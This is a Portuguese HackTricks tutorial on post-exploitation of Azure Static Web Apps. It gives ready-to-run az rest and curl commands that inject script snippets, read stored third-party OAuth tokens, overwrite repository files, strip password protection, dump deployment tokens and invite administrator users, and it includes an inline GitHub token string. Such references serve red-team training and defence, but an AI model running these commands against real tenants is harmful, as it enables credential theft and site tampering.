Az - Static Web Apps Pós Exploração
Reading time: 10 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Azure Static Web Apps
Para mais informações sobre este serviço, consulte:
Microsoft.Web/staticSites/snippets/write
É possível fazer uma página web estática carregar código HTML arbitrário criando um snippet. Isso poderia permitir que um atacante injetasse código JS dentro do aplicativo web e roubasse informações sensíveis, como credenciais ou chaves mnemônicas (em carteiras web3).
O seguinte comando cria um snippet que sempre será carregado pelo aplicativo web::
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
Ler Credenciais de Terceiros Configuradas
Conforme explicado na seção App Service:
Executando o seguinte comando, é possível ler as credenciais de terceiros configuradas na conta atual. Note que, se por exemplo, algumas credenciais do Github estiverem configuradas em um usuário diferente, você não poderá acessar o token de outro.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Este comando retorna tokens para Github, Bitbucket, Dropbox e OneDrive.
Aqui estão alguns exemplos de comandos para verificar os tokens:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Overwrite file - Overwrite routes, HTML, JS...
É possível substituir um arquivo dentro do repositório do Github que contém o aplicativo através do Azure, enviando um pedido com o token do Github como o seguinte, que indicará o caminho do arquivo a ser substituído, o conteúdo do arquivo e a mensagem de commit.
Isso pode ser explorado por atacantes para basicamente mudar o conteúdo do aplicativo web para servir conteúdo malicioso (roubar credenciais, chaves mnemônicas...) ou apenas para redirecionar certos caminhos para seus próprios servidores, substituindo o arquivo staticwebapp.config.json
.
warning
Note que se um atacante conseguir comprometer o repositório do Github de qualquer forma, ele também pode substituir o arquivo diretamente do Github.
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
Microsoft.Web/staticSites/config/write
Com esta permissão, é possível modificar a senha que protege um aplicativo web estático ou até mesmo desproteger todos os ambientes enviando uma solicitação como a seguinte:
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
Microsoft.Web/staticSites/listSecrets/action
Esta permissão permite obter o token de implantação da chave API para o aplicativo estático:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
Então, para atualizar um aplicativo usando o token, você poderia executar o seguinte comando. Note que este comando foi extraído verificando como o Github Action https://github.com/Azure/static-web-apps-deploy funciona, já que é o que a Azure definiu como padrão para usar. Portanto, a imagem e os parâmetros podem mudar no futuro.
tip
Para implantar o aplicativo, você poderia usar a ferramenta swa
de https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token ou seguir os seguintes passos brutos:
- Baixe o repositório https://github.com/staticwebdev/react-basic (ou qualquer outro repositório que você queira implantar) e execute
cd react-basic
. - Altere o código que você deseja implantar.
- Implante-o executando (lembre-se de mudar o
<api-token>
):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
warning
Mesmo que você tenha o token, não será possível implantar o aplicativo se a Política de Autorização de Implantação estiver definida como Github. Para usar o token, você precisará da permissão Microsoft.Web/staticSites/write
para alterar o método de implantação para usar o token da API.
Microsoft.Web/staticSites/write
Com essa permissão, é possível mudar a fonte do aplicativo web estático para um repositório Github diferente, no entanto, ele não será provisionado automaticamente, pois isso deve ser feito a partir de uma Ação do Github.
No entanto, se a Política de Autorização de Implantação estiver definida como Github, é possível atualizar o aplicativo a partir do novo repositório de origem!.
Caso a Política de Autorização de Implantação não esteja definida como Github, você pode alterá-la com a mesma permissão Microsoft.Web/staticSites/write
.
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
Exemplo de Github Action para implantar o aplicativo:
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
Microsoft.Web/staticSites/resetapikey/action
Com esta permissão, é possível reiniciar a chave da API do aplicativo web estático, potencialmente causando DoS nos fluxos de trabalho que implantam automaticamente o aplicativo.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
Microsoft.Web/staticSites/createUserInvitation/action
Esta permissão permite criar um convite para um usuário acessar caminhos protegidos dentro de um aplicativo web estático com um papel específico dado.
O login está localizado em um caminho como /.auth/login/github
para github ou /.auth/login/aad
para Entra ID e um usuário pode ser convidado com o seguinte comando:
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
Pull Requests
Por padrão, Pull Requests de um branch no mesmo repositório serão automaticamente compilados e construídos em um ambiente de staging. Isso pode ser explorado por um atacante com acesso de escrita ao repositório, mas sem conseguir contornar as proteções do branch de produção (geralmente main
) para implantar uma versão maliciosa do app na URL de staging.
A URL de staging tem este formato: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>
como: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net
tip
Note que, por padrão, PRs externos não executarão workflows a menos que tenham mesclado pelo menos 1 PR no repositório. Um atacante poderia enviar um PR válido para o repositório e então enviar um PR malicioso para o repositório para implantar o app malicioso no ambiente de staging. NO ENTANTO, há uma proteção inesperada, a ação padrão do Github para implantar no aplicativo web estático precisa de acesso ao segredo contendo o token de implantação (como secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F
), mesmo que a implantação seja feita com o IDToken. Isso significa que, como um PR externo não terá acesso a esse segredo e um PR externo não pode alterar o Workflow para colocar aqui um token arbitrário sem que um PR seja aceito, esse ataque realmente não funcionará.
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.